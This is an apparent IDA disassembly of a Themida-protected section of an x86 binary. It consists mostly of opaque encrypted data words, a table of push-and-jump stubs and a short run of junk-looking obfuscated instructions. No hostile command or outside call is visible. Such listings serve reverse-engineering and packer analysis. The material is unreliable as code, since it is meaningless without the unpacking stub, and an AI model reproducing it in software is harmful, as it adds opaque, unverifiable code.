		dd 973C8320h, 2D64070Eh, 0D6413D99h, 0FA412DFh,	7F000002h
		dd 57D75EA6h, 6E2745AFh, 7DD577D8h, 13AC57AEh, 4EB2430Dh
		dd 0D9C38941h, 0B3F0B5DAh, 72A8817Ah, 1476B2D4h, 0E34CAF58h
		dd 0E208D6B5h, 58146058h, 0AF0922AFh, 0F1155C00h, 13F9314Bh
		dd 60CBAF58h, 0A9CA5BC8h, 46E6BFE4h, 0BF14A20Fh, 0B31867F6h
		dd 49EBF2h, 0EB2612BAh,	48C112DFh, 5A000000h, 0D80EB5E7h
		dd 0FFE3D7AEh, 6682ADB5h, 0F327F20Fh, 0BCA12281h, 25000001h
		dd 54FF4B02h, 832C7A3Fh, 0B51EACE5h, 0E54EDC99h, 36BD0944h
		dd 0A3EE8F83h, 0D79ABC67h, 54CF053h, 367F1E81h,	54F674F0h
		dd 0B6031654h, 0C443E82Eh, 0D7ACE426h, 38B2AF57h, 0D7403A12h
		dd 0C326696h, 725FE23h,	0B112F84Eh, 4455DA93h, 61284BD4h
		dd 0ADDB7B3Ch, 0A56D2042h, 0AF585765h, 9555103Eh, 0DA45C1BAh
		dd 0CB7F3BAh, 22832069h, 56F94D00h, 29337934h, 58579B9Fh
		dd 61CE69AFh, 0EA1C98C0h, 0AF5856AEh, 44C2BB94h, 0DF194FC3h
		dd 7082C0D4h, 0C3C70F54h, 81AF5898h, 0CAE58C77h, 0FFE87149h
		dd 60089906h, 0D4CD80A1h, 7C70B456h, 892BAF58h,	0B729432h
		dd 0F9B600A9h, 2A47A85Eh, 3058BB6Fh, 0B5E33479h, 8ACF64CFh
		dd 94071A5Ch, 3E47477h,	60C88DA2h, 0DA7C6783h, 0A0F2B276h
		dd 0ECC54A36h, 841E34Ch, 1558FAABh, 38711788h, 398232FBh
		dd 0D34C7B8Dh, 0B112BCA8h, 425BD89Dh, 0D90F28D6h, 0EC7F0376h
		dd 0B0CABB78h, 19000000h, 50F3377Eh, 7F206623h,	0A90A90D9h
		dd 0D97AC085h, 2AB1F5B8h, 0A7EA8B87h, 0D39EC063h, 148EC57h
		dd 327B1A85h, 50EA70F4h, 0B6031758h, 0BA47EC2Ah, 54532630h
		dd 48E0F351h, 0A00D44E7h, 0AED85CFFh, 0AF57FA6Ah, 0C5E7FF58h
		dd 0ED5DB5F5h, 1B9E03FCh, 44AFF1B2h, 0D3C46920h, 0F2BBDA45h
		dd 247EBD4h, 0DDC62C96h, 7BACF1BCh, 0FF8D793Dh,	176812DFh
		dd 72000000h, 75BAF391h, 0A6AFF424h, 0AF57D75Fh, 0D2682144h
		dd 1D51h, 1CBA7400h, 0D75454F6h, 52EAF57h, 57D6BDFDh, 0CAC87AFh
		dd 57D6BAFAh, 34AE9AFh,	0DBE09887h, 257h, 0FFC2B900h, 138C1158h
		dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
		dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 4BD55h
		dd 0E8290000h, 2404875Dh, 0E389535Ch, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 52243489h, 0C281E289h,	4, 4EA81h, 14870000h
		dd 2C895C24h, 0CBB95124h, 5106AB3Ch, 0EC81595Eh, 4, 81242489h
		dd 42404h, 515D0000h, 8B9h, 56E90100h, 55240481h, 8F222131h
		dd 55298101h, 59222131h, 5D2434FFh, 4C481h, 348B0000h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FD3B6DE9h
		dd 8B8C29FFh, 0ADE767Bh, 0D54497FCh
		db 0C0h
; ---------------------------------------------------------------------------


loc_57DC6D:				; CODE XREF: Themida_:0057D6A1j
		mov	eax, 6AB41BBh
		add	eax, ebp


loc_57DC74:				; CODE XREF: Themida_:0057D69Cj
		mov	edx, ecx
		jmp	loc_57DDDE
; ---------------------------------------------------------------------------
		db 81h
		dd 0E7703061h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
		dd 0BCECA4h, 52C55DD5h,	0A4D676D3h, 4100FC94h, 50C1AEC4h
		dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
		dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
		dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
		dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
		dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h,	0B0F3622Dh
		dd 3CAE29h, 440000h, 6C0000h, 2	dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 2Ah dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57DDDE:				; CODE XREF: Themida_:0057DC76j
		jmp	loc_57FDDA
; ---------------------------------------------------------------------------
		push	6AB45E0h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB46CAh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB4792h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB4876h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB4935h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB4A31h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB4B1Ah
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB4BCBh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB4FF8h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB506Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB5147h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB544Ch
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB575Bh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB5AE9h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB5C3Bh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB5CBEh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB5D1Fh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB5D6Ah
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB5F43h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB6044h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB624Ch
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	edi
		xor	[ecx+2Dh], bh
		sub	ch, 0A8h
		adc	dh, [ecx-18B72169h]
		dec	ebx
		push	cs
		mov	eax, 0EF3B7617h
		pusha
		push	ecx
		shl	dword ptr [eax+54F659EDh], 19h
		lea	esp, [edx]
		add	cl, [ebx-1]
		push	esp
		xor	[eax+22h], edi
		mov	edx, 1B2266A0h
		add	esi, [esi-822520h]
		pop	esp
		adc	eax, 0F4185288h
		xor	[edx+34h], ah
		inc	edx
		and	ch, cl
		sub	ebp, [ecx+41h]
		retf	0E7D0h
; ---------------------------------------------------------------------------
		dd 64FEEB1h, 0E80D96E0h, 9186024Dh, 0AA0ABD07h,	644FF511h
		dd 8218EC3h, 6770A8D2h,	0F952AF58h, 8646A9BFh, 0B718B600h
		dd 4556DB96h, 9D022DD3h, 86595Dh, 159E75B6h, 45872D4Bh
		dd 0B6008645h, 0AEEA143Fh, 94B60085h, 0D25F1233h, 0EC48E0D9h
		dd 14777DF0h, 3A17h, 0B5E72800h, 4FAED80Eh, 11B60005h
		dd 51C78EAEh, 21680CAFh, 2363EB48h, 0BFB60005h,	534F4BD4h
		dd 921477F8h, 10D6D274h, 7E88B600h, 0B600113Ah,	74DF2F08h
		dd 9C1624h, 0FF290000h,	1788155Ch, 2DF63B76h, 49DA470Eh
		dd 2527632Ah, 0AF57DB24h, 1195DC7Fh, 20C68FAEh,	0DB4840FAh
		dd 113AAF57h, 31632487h, 9F2A5C8Ah, 65B5FFE2h, 93B31CCAh
		dd 0D05851DEh, 0D863D16Ah, 1728422h, 0FE3D716Dh, 368A5CDCh
		dd 0CBCAA91h, 7B1C8723h, 2E4FF036h, 4BD14563h, 0E0C3EC7Dh
		dd 1D2B1Fh, 31781F00h, 60254AF5h, 96DF79DAh, 0C683AF10h
		dd 0F3BEDF40h, 898928B7h, 0BE61A5E8h, 0EA55D19Ch, 1C87034Ah
		dd 72EA3079h, 1C5A5EE8h, 0E228B603h, 135EFF45h,	40092C97h
		dd 0B5E7DDFAh, 4FAED80Eh, 35B60005h, 446EC1Ah, 0B6000504h
		dd 34B6F39Fh, 5D5DEF1Bh, 27B60005h, 3F3FAC0Ch, 0B60004F7h
		dd 0C6664993h, 0F1B2298Fh, 77F8F5E1h, 0B21014h,	0FF2B0000h
		dd 1788155Ch, 0DF92B376h, 0C3605952h, 982ED527h, 943E052Ch
		dd 0B305C204h, 0FF9EAF58h, 60EA10B6h, 0FE1FEB5Fh, 35759DB5h
		dd 7AF5837h, 93C88E8Ah,	77A02288h, 55F85B21h, 0A616971Ch
		dd 0C5FE91Dh, 0F6B6006Dh, 0FF8B5D5h, 17AC00BBh,	0BE849F3h
		dd 90DABCABh, 269598E5h, 0CACE788Eh, 0B8BCAB5Eh, 19CDA69Fh
		dd 42D895B6h, 0DB0D40E1h, 0EC7C7E55h, 41E7585Bh, 3500001Ch
		dd 64CF5B12h, 933C8ACFh, 0C56EBCF5h, 0F55EECA9h, 68D1954h
		dd 0B3FE9F73h, 0E7AACC77h, 155C00A3h, 460F2E91h, 448664C0h
		dd 0B6031D44h, 0FF53F83Eh, 2C97135Eh, 0DDFA4009h, 1B8F30BAh
		dd 0C0BA31CFh, 0EDA4C768h, 7DBCDF40h, 1E0F94D1h, 215B8125h
		dd 0AF5832E9h, 523870DBh, 6FCD2A0Fh, 32ABEF19h,	0BE99AF58h
		dd 74E721C5h, 4EB60049h, 3D4583E5h, 7E728EB8h, 540EDDEh
		dd 2A7CFE2Ch, 0C33D2826h, 74965CDCh, 79365C29h,	2AF3301Bh
		dd 4395318Ah, 8C414C11h, 678D2B36h, 0DEF1A425h,	11B59E7Fh
		dd 0F25951EBh, 3C237FDEh, 552D3A69h, 0FB993ACCh, 955FD9B2h
		dd 0C4420B2Ah, 5771385Bh, 294844C3h, 7915EECDh,	6D00001Bh
		dd 9C0783CAh, 0CB74B2F7h, 0FDA6E4ADh, 2D961451h, 7EC5410Ch
		dd 0FBB6D73Bh, 2F6204AFh, 5D14389Bh, 8EC766C9h,	0CBEAC38h
		dd 0B6031E0Ch, 0BA8BB0F6h, 9E3DA1Ch, 37E9A893h,	58048B8Fh
		dd 5ADE79AFh, 0B2FFB6D5h, 0CAF04BE9h, 692043ACh, 8345D3C4h
		dd 0B6001F44h, 379FB91Ah, 8A400A12h, 0F3302926h, 67D07EBAh
		dd 0D5B3C523h, 0BC4A8554h, 3F1E4FE9h, 23C77CD0h, 0ED2D5F85h
		dd 0D7B60030h, 0BF2A3C7Ch, 85BCA846h, 2B943EAAh, 1EE84009h
		dd 8459A59Dh, 0E105BE1Eh, 1D758A7h, 9C012A8Bh, 0E402B91Bh
		dd 0D70C0CBEh, 5DF68B01h, 8EB11DBh, 0A8812E6Bh,	1181C600h
		dd 0E84391AAh, 0FBB2D132h, 294CB7BDh, 0EA1CBA60h, 91AA10AEh
		dd 111216B0h, 47F091AAh, 860CAC87h, 91377E1Dh, 177DCB83h
		dd 95AD1695h, 8900001Ah, 0C063A7EEh, 0EF50D693h, 19BA0049h
		dd 49EA3075h, 5A216528h, 175AFB17h, 430E3093h, 71385CC7h
		dd 0A2EB8A35h, 205A8064h, 0B6031EE8h, 0FFB79CDAh, 0F88155Ch
		dd 56F016ADh, 0B5FFE44Bh, 1793B21Dh, 0FFE3B5F5h, 0CBA48FB5h
		dd 3288A36Dh, 74AEBD4h,	7617819Ah, 8E3567A6h, 0F9BB2E58h
		dd 42ADBCA7h, 7C96F26h,	3650FE2Ch, 0BCA7F9F2h, 693167D0h
		dd 50B2A95Fh, 9B2E259h,	0E564ABDDh, 0DC7A5FF8h,	11D1619Ah
		dd 6EA81E09h, 5FF9CF2Ah, 0DD94B718h, 0CA6E4750h, 5862B04h
		dd 4CFE2C97h, 66A20A0Bh, 47A85EF9h, 76D96D24h, 0F12953D7h
		dd 0D366A209h, 0C5598F78h, 0C74285D2h, 19D61BE4h, 0AFCA0000h
		dd 52FFA0E6h, 8309317h,	345AC541h, 0E98A3571h, 0D89966A4h
		dd 0D654193Ah, 3A80CD6Dh, 74B2FB99h, 0A5E1A8CBh, 0A9E11BC1h
		dd 9BB6031Fh, 5CFFF65Dh, 0AD0F8815h, 4AF016h, 0E18F43CFh
		dd 13C91C1h, 7F2103DBh,	6DCFCB7Dh, 9AB5AF58h, 7EF177A1h
		dd 44B60095h, 0BB15FEBh, 67CC85A8h, 958C8C36h, 5576B600h
		dd 14847D38h, 36669F75h, 0D033598Dh, 6FB8E5ACh,	0AACC3FC9h
		dd 5892BCA8h, 8C276837h, 0C881A360h, 0DF59326Bh, 64A20631h
		dd 0B9EB420Ah, 77F89ADCh, 19F50266h, 0BEEF3479h, 60D453C5h
		dd 0A4C42FDBh, 67A14BEDh, 0C0932A18h, 0F46E5CEh, 0E12F89A2h
		dd 32F9036h, 68C0D946h,	0F48232FBh, 0FA276A0Bh,	2A2119A1h
		dd 48E3C093h, 0A20DAB5Fh, 3566CB82h, 64E465E3h,	75DEC73Bh
		dd 86CF6E51h, 0ABCDA00h, 0C73B650Eh, 52DD5BF4h,	9A4E7A33h
		dd 26E1EC78h, 18DA3C85h, 0ABCE0000h, 56FBA4E2h,	0C2C9713h
		dd 305EC145h, 0ED8E3175h, 0DC9D1AA0h, 0C2581536h, 3E8CC161h
		dd 68BEF795h, 59EDA4C7h, 0ADED1FCDh, 97B60320h,	30BAEA51h
		dd 3A96E4E8h, 0D05FD91Ah, 85CC6CADh, 0B6D07EACh, 0AF58D372h
		dd 0D2B1E750h, 0AA50EB49h, 36622B49h, 3AB9A2Ch,	0BE99B601h
		dd 2218268h, 63B5E64Bh,	18BC6342h, 0AFD907A3h, 0B601046Bh
		dd 0D05D1438h, 8C2C07C7h, 19B52466h, 0A48FBCA9h, 0BC9EF406h
		dd 35BDA6DCh, 0BDFBBED4h, 2794D3F5h, 0A5175072h, 4F5EE81Eh
		dd 35571A59h, 6E03EC1Ah, 9D1E8D2Bh, 7D66843Fh, 100996DFh
		dd 58C58CAFh, 0F903E94Fh, 5DC29380h, 0A6E22442h, 9C5DC293h
		dd 0C32CDAB3h, 0F25DE9A0h, 4BECD753h, 46809906h, 5DC29442h
		dd 68A0DA00h, 5A5DC294h, 0F92F18F1h, 4B654949h,	0F197684Bh
		dd 0E5000017h, 14BF0B42h, 43EC3A7Fh, 75DE6C25h,	0A50E9CD9h
		dd 0F67DC984h, 632E4FC3h, 97DA7C27h, 0C58CB013h, 0F6BFDE41h
		dd 943634B0h, 0B6032294h, 0BA03286Eh, 2F743959h, 56F5BAFEh
		dd 0AB09921Fh, 6950EA10h, 5BB6031Ah, 4AE9CAF0h,	1A7CBCCEh
		dd 0ED46B603h, 0E454B6F4h, 0FAB6031Ah, 78D57919h, 0C14FE6AAh
		dd 7FA8F5EEh, 72CD6E39h, 6CE88B34h, 32BDEDAh, 6F03A4B6h
		dd 0C258312Ah, 45E8DB79h, 0BFA8E184h, 8B64214Eh, 6EFE2D5Fh
		dd 6BC4BCAEh, 0F23F54BFh, 0E5211A53h, 0A3F6FD7Fh, 3530A664h
		dd 52173CE3h, 783154CDh, 79208C40h, 0D6AF0CECh,	1740h
		dd 0CE5C1534h, 398DC865h, 6FBBF296h, 5FEBAEC4h,	881E53F4h
		dd 83A46E03h, 0B7D778CEh, 6103ACFAh, 12319228h,	8D5FCF5Bh
		dd 3223F7Bh, 58C705B6h,	0D80EB5E7h, 9B1851F7h, 0BACC1682h
		dd 0B6031A8Fh, 0AA2CDA75h, 76B836BAh, 0A7EE8DA3h, 0E048217Ah
		dd 3BFA997Ah, 42785118h, 0D396BB24h, 349EF2Bh, 0DB9EB4B6h
		dd 0AA854556h, 755E840Eh, 0A2899D4h, 6FC9E24Fh,	1ECC77D8h
		dd 15BF65DCh, 0BCFCEA5Dh, 32014B6h, 49E2B603h, 1AFC7EE4h
		dd 4328589Fh, 0A0E761B7h, 3CB603AAh, 0D0CCCE57h, 1F147401h
		dd 0B25357F1h, 631B603h, 726092h, 0BABB0000h, 8DE1CD30h
		dd 0FA3E439Fh, 95318C2Dh, 58AA3B73h, 0ACC22DAFh, 258AC361h
		dd 739D1BF4h, 93935BD8h, 2FAF58AAh, 0E3DFDB44h,	0A12DF01h
		dd 40h,	428F9ADCh, 0EA374BCFh, 5FA6654Eh, 5CAF57D7h, 65A743F8h
		dd 0B5FFD77Ah, 6CC46748h, 0C71C6E5Eh, 307D5682h, 0AA83CE6Fh
		dd 88AA15B1h, 3E953C5h,	27ED37C9h, 626593F5h, 40F9F12Dh
		dd 5259DF52h
		dd 0AEEA1CBAh, 94AF57D6h, 0AAA7DBBh, 57C315B1h,	0C3D407ABh
		dd 280148EBh, 0E1205A80h, 0A3B60043h, 0B4DAC669h, 91F27763h
		dd 3871BEF7h, 2241E24Fh, 0D174DF6Bh, 0A1CF1B98h, 762367h
		dd 0E236E1B6h, 0CC511C3Dh, 34793053h, 1C81C86Bh, 0DC5BC4B1h
		dd 0D5779D59h, 0B60075D5h, 0BF1484AFh, 2A49AAF6h, 0CB6A3563h
		dd 75FD3D4Fh, 6CC7B600h, 0E98C3773h, 7D37FD41h,	44E97FD2h
		dd 928B9C01h, 1B374B9h,	23FA0CBAh, 0E1BCA8A1h, 0D2F9036h
		dd 6ACEDF44h, 0DD1C3FE0h, 971CF5B0h, 8FCA684Bh,	0AEE78122h
		dd 0C4E563B5h, 0ED34DF48h, 6159E309h, 4234DF49h, 0D4C56A23h
		dd 4FF3912h, 0B8F1949Bh, 0EBA2C162h, 0F4B1DD46h, 64FEDD6h
		dd 852E3192h, 0B776151Ch, 9822D891h, 34DF49A0h,	4AD0C962h
		dd 9E034AE9h, 0E604BF1Dh, 875E75A4h, 0C6E44F3Bh, 0DA7EBFDDh
		dd 2475BA93h, 86A50EF4h, 64A62647h, 3B875E24h, 635C351Eh
		dd 88C5653Eh, 0A8CB3452h, 0A36BBCE1h, 3B875E67h, 9893135Dh
		dd 0B24423C3h, 1EC5FD9h, 1B410B94h, 87A8A9E1h, 78B09B3Bh
		dd 49DD94B7h, 0ADDF05A3h, 3B87A96Dh, 0D6D2FC57h, 0CD3B87A8h
		dd 6EBFE4A1h, 0BA65B39Ch, 0CC4DD29Bh, 9537D368h, 422FAF1Eh
		dd 11FF4BE4h, 93AAE3C7h, 49EF1B50h, 0A10E47E6h,	2FD25D59h
		dd 61C2A952h, 0DBF3B5Ah, 522FD20Dh, 47635CF7h, 0D1ABEF19h
		dd 0BE99522Fh, 0E06A907Ah, 0F6A813AAh, 8C1385EEh, 0DF05A1E8h
		dd 0F01A5FF4h, 522EFDB8h, 9477A18Ah, 0FA276A0Bh, 6104EF37h
		dd 8A2B8028h, 12A8E183h, 5A3B93B1h, 344C1837h, 93DA7AEBh
		dd 8EA30CBAh, 4EF866CBh, 522FB94Ah, 0F2261F38h,	0A7E29011h
		dd 81229B7Ah, 1793DA7Ah, 5CC188ACh, 24C279DBh, 0D7D39FE2h
		dd 352B6558h, 61A82545h, 0ED15E37h, 0AB0FCA5h, 0D78BB8F0h
		dd 29A18A58h, 5593CFE3h, 0EBB4E47Ch, 0BCDA0049h, 0D7710E0Ah
		dd 7496F458h, 58D77134h, 0DB4C250Eh, 7BACF1B8h,	49EC573Dh
		dd 6302A300h, 3456FC2Ah, 58D770F4h, 503365CEh, 0B4BB64D1h
		dd 0EA42D891h, 0BBA04CFEh, 1C19h, 5DFF2200h, 0AE0E8F14h
		dd 684BF115h, 0D82E8AC7h, 0B5FFF661h, 31B20823h, 47h, 3C30BA14h
		dd 0B4F41615h, 8EAF57D7h, 3452DA5h, 0B9DB44D4h,	49E9CAF0h
		dd 7EA3E68Ch, 0B2D3342Dh, 3F79B2FFh, 0D269CB4Ch, 0EA7BA234h
		dd 6766D8FBh, 0FA912B31h, 0ECB600B2h, 0D1296003h, 6318705Ah
		dd 98A6F24Eh, 14C6BBFh,	0E65DFF20h, 0ED5386C0h,	8E31B5FFh
		dd 2F78A5E0h, 0F434D236h, 0B7AAB303h, 0A708BE05h, 8369CF8Ah
		dd 5B363679h, 0CAE28B1h, 0DBFC4AFCh, 0D39E439Bh, 0E9814ADCh
		dd 996814Fh, 73972C80h,	6C77B3D5h, 0E24DB15Bh, 0BADE081h
		dd 0BE31BBE1h, 0A927BCE2h, 63E462B6h, 21B8037Fh, 4CEFD0F6h
		dd 7F1E8105h, 5E549236h, 6744F124h, 13139Eh, 29600700h
		dd 581D329Dh, 8EC761C2h, 0BEFB9738h, 0EBA6C768h, 71A1D05Fh
		dd 0A6099DD0h, 0D27DC984h, 4AFFBB2h, 0A922861h,	2672B6D0h
		dd 0A50B603h, 3559BA2Dh, 0BEFA3370h, 57D870A8h,	32892BAFh
		dd 0F4677294h, 135DB5FFh, 41F11081h, 6706D0ABh,	0BE1B1783h
		dd 0BA25C1BAh, 0EC57D39Ah, 469C0148h, 42C91434h, 4CEC8B4Dh
		dd 0DF0940E3h, 0F3277C01h, 9D532C8Fh, 91000012h, 0C86BBFF6h
		dd 0F758EEABh, 21821851h, 51F2480Dh, 0A2297D30h, 2F62030Fh
		dd 5B16389Bh, 89C064CFh, 0BAF3923Dh, 0D862F86Ch, 0B60326E0h
		dd 0E7BF64A2h, 0AED80EB5h, 0B5FFF39Bh, 0B718CE69h, 0E84BDF9Ah
		dd 0A10E4Bh, 488F145Dh,	96BBC263h, 46A957D3h, 9CCD6B22h
		dd 6DD447D2h, 0BAFF94FBh, 0F2B2F575h, 4278B5FFh, 278CC161h
		dd 68C9A2F6h, 3D89CC61h, 2B8FD92h, 6ACE87A1h, 0AF9C30F9h
		dd 3DE9C28Fh, 0AB36808Bh, 3DE942BCh, 0ACFAB3D2h, 84296003h
		dd 99D4755Eh, 12950314h, 5BED19A2h, 0C35678CDh,	0EC6E9CB7h
		dd 6A9D37DDh, 45AF0904h, 0DBF3B5Ah, 0C355E90Dh,	27635CF7h
		dd 7018D97Ch, 0CAA3F439h, 0CB70A465h, 2DEED1Fh,	8BA4C9FEh
		dd 29DA7D5Dh, 0DBA407DFh, 11C4h, 42D891B8h, 0BD094CE1h
		dd 0EB3F7612h, 0DB6F2A48h, 0C9AD778h, 7F20F287h, 2B4BF432h
		dd 0DD7F2066h, 8EAD1694h, 1DB43C7h, 327C3C7h, 0DC7B81B6h
		dd 57D76BA6h, 85D77DAFh, 0A51D9E5Dh, 8E8A34E1h,	74AF580Ch
		dd 0B2D25DDBh, 1B41AFFBh, 580BA9E1h, 0D0DBFAFh,	0F7AF580Ch
		dd 29A18A5Ch, 50574427h, 0FE49EF00h, 87C1E55Eh,	0B6032FF9h
		dd 59BA60CBh, 1451FE3Fh, 0F4C0EF3Bh, 135FCA18h,	180FFh
		dd 1CBA4000h, 57D6AEEAh, 7DBB94AFh, 0CABF08AAh,	0D70500BAh
		dd 73DCAF57h, 0CBDDBA96h, 1CBAEC6Fh, 57D6AEEAh,	1855F5AFh
		dd 0D740829Bh, 0D748C641h, 3F59BAF2h, 3C791576h, 0E7C8B5FCh
		dd 0F8180DB4h, 0CAE8F413h, 35EF15DFh, 30000000h, 0D208ABE7h
		dd 9B185DF1h, 4D002182h, 3A61B7E0h, 0D70500BAh,	54FFAF57h
		dd 612C4DB6h, 87115800h, 0BADDBA9Ch, 24743959h,	0B794DD7Bh
		dd 2FDFE0C5h, 0FA000000h, 83C5ABE7h, 0AF57D787h, 0CF9D27Dh
		dd 0D70500BAh, 73DCAF57h, 3559BA96h, 0BEFA3370h, 1CBACFB4h
		dd 57D6AEEAh, 7DBB94AFh, 0EADF96B2h, 0E8F4E0C5h, 0EF15DFCAh
		dd 4Eh,	0DB4E730h, 0EABB9FD9h, 3357597h, 240FAF58h, 982CF9AAh
		dd 0E04D0427h, 0BA3A61B7h, 57D70500h, 0B654FFAFh, 3D622B4Dh
		dd 0BA674CECh, 0D9E19930h, 55F317DCh, 0AD86971Ch, 0FF7AE10Bh
		dd 0C5321752h, 7DDFE0h,	0D83B0000h, 79B2FFBAh, 59BAF43Fh
		dd 0FE2F7439h, 124EEDBAh, 0FE8216D4h, 0AF459DEBh, 6E83AF2Eh
		dd 228D3912h, 0ECA9C500h, 3B7DAEF3h, 500BAF0h, 0DCAF57D7h
		dd 8E1356FBh, 0BAC7A49Dh, 0D6AEEA1Ch, 0BB94AF57h, 0FF88F77Dh
		dd 0A290DA52h, 8E14D046h, 5F1F1BA3h, 4AE5AF58h,	0E10FB551h
		dd 585F63A7h, 0CCF621AFh, 0AF585ECCh, 101B9DB6h, 723B59BAh
		dd 9ED3742Dh, 549673A5h, 1C81C86Bh, 0DF86AD0Bh,	0FFFFFE77h
		dd 86B5E7FAh, 17B3ACE9h, 0AA9AACC5h, 0AAEA40Fh,	8C73A6E0h
		dd 0E651B603h, 0F5BCDFC0h, 0C840EED1h, 38C7ABEh, 0F6EF48B6h
		dd 0CE6FD8A2h, 0F5355773h, 0CFB6038Bh, 0EE184664h, 0B6038BAAh
		dd 8C0E0ABCh, 5BF4B603h, 9B08A08Bh, 38C5953h, 65284AB6h
		dd 88C16738h, 951E952Bh, 70319A06h, 74677662h, 0E913B914h
		dd 0B60393B1h, 0D7D37593h, 0ADB60393h, 0CD0FA982h, 21h
		dd 0D75EA656h, 2645AF57h, 0E621DB6Fh, 0A5AF57D6h, 0EC1ECC77h
		dd 0B5FFDFF9h, 59DA60CBh, 9Dh, 3859BA7Ch, 30642375h, 7E2D5F8Bh
		dd 44B5FFE6h, 0B0D43FEBh, 2B692B18h, 8C654BD6h,	49EFD03Eh
		dd 6507A800h, 7715FE2Ch, 8009FA3Eh, 0C973972Ch,	0BCABE4CAh
		dd 886B9FB8h, 0B619ADE4h, 0C952DF96h, 8C2AD06Bh, 0E14E0323h
		dd 59E660C8h, 2BC35727h, 5AF9DA00h, 0C7B0F99Bh,	1A3AA543h
		dd 3B5AC553h, 0B66E5672h, 4162E5D0h, 0EBFC0h, 0DD94B300h
		dd 0C49E649h, 3A7315BEh, 6A2F43ECh, 9FD273DCh, 25ED8C0Bh
		dd 52FD4904h, 86297D30h, 0B81BAFE6h, 0DE4EDC95h, 2ABEFA0Ch
		dd 4684B603h, 155CFFD9h, 0D86567F1h, 0D9983A15h, 1033EC5Fh
		dd 8955D459h, 0EA656C4Fh, 0EF49D7AAh, 97E1AB74h, 5B1A145Ch
		dd 0F1BEFA34h, 2F8F1B52h, 12DF3033h, 3ADAh, 0B5E76D00h
		dd 0CCFE8EEFh, 2A032374h, 0FC434AFCh, 1601B600h, 3C751889h
		dd 6F2645EEh, 793058BBh, 0D6B5E334h, 0AE5CE755h, 0A90BAD1Ch
		dd 6EBC97BCh, 0E8205A80h, 0DABCA90Bh, 0FFFC2771h
		dd 0B3FE9F52h, 0C6443D6Eh, 5048F218h, 32AF57D7h, 5F5BED19h
		dd 25AF57D7h, 6C01AE0Ah, 4D428429h, 56AF57D7h, 902B7F36h
		dd 0D963873Ch, 0B6031964h, 0B0F5997Ah, 50FE3A73h, 0B8E0C3E7h
		dd 0F48EB5F1h, 135FCA18h, 10CFFh, 0B7E74000h, 0E193CAEDh
		dd 74A50A43h, 0CF32B87Ah, 61BAE7A2h, 0BAAA9F88h, 57D70500h
		dd 9673DCAFh, 6FCBDDBAh, 0DE36AB2Dh, 0F18D6224h, 0ABE77CA7h
		dd 9C791308h, 180DB4E7h, 57F1D2F8h, 0F4919A1Eh,	15DFCAE8h
		dd 0F2B7DCC7h, 4894A6h,	0E7AF0000h, 77D380ABh, 0EDCBEA8Bh
		dd 0E938CC2h, 0C1BAF395h, 2AA7E325h, 0B29DAF58h, 1CBAECD9h
		dd 55DA9FB3h, 1312D444h, 0D5AF57D7h, 260B3883h,	307819D9h
		dd 0BA40250Eh, 0DF92B31Ch, 59FF5259h, 0E0C52B10h, 29DFh
		dd 0ABE7FA00h, 0BA1308h, 0AF57D705h, 0BA9673DCh, 1059FFDDh
		dd 0FE3A4CEAh, 0C4AF57D6h, 0BAE6CD6Bh, 9EF0E030h, 8B2D7E8Eh
		dd 0E8F40D1Eh, 0EF15DFCAh, 21h,	0DB4E730h, 500BA18h, 0FFAF57D7h
		dd 0DDBA7754h, 321752FFh, 713459BAh, 0DF594227h, 1Fh, 0DB4E7FAh
		dd 296E9FD9h, 0F72468ECh, 0BA7AA1h, 0AF57D705h,	0BA9673DCh
		dd 1752FFDDh, 0DFE0C532h, 0FFFFFEEBh, 0DA1CBAFAh, 0E5A772B7h
		dd 4E4A742Ch, 34AF58C1h, 74B9F093h, 59EE4A23h, 609A40FBh
		dd 0B6040439h, 5CFA200Bh, 0E7AECD36h, 615961BAh, 42B60404h
		dd 0B19A6C21h, 31672250h, 86CF6Eh, 7FAB1687h, 403CDCDh
		dd 179CB7B6h, 403D5D7h,	991AF1B6h, 73FFAD99h, 244814h
		dd 0A6D30000h, 0AF57D75Eh, 3C99F600h, 81AF1D9h,	8A302960h
		dd 58D23870h, 0F7210AAFh, 0FE4C0528h, 0CF75h, 0B5E75000h
		dd 51B2D80Eh, 60ED9B33h, 0A351146Dh, 51986ECAh,	33B600AAh
		dd 6301E218h, 12A82A2h,	60017111h, 217AA790h, 61B0F1A9h
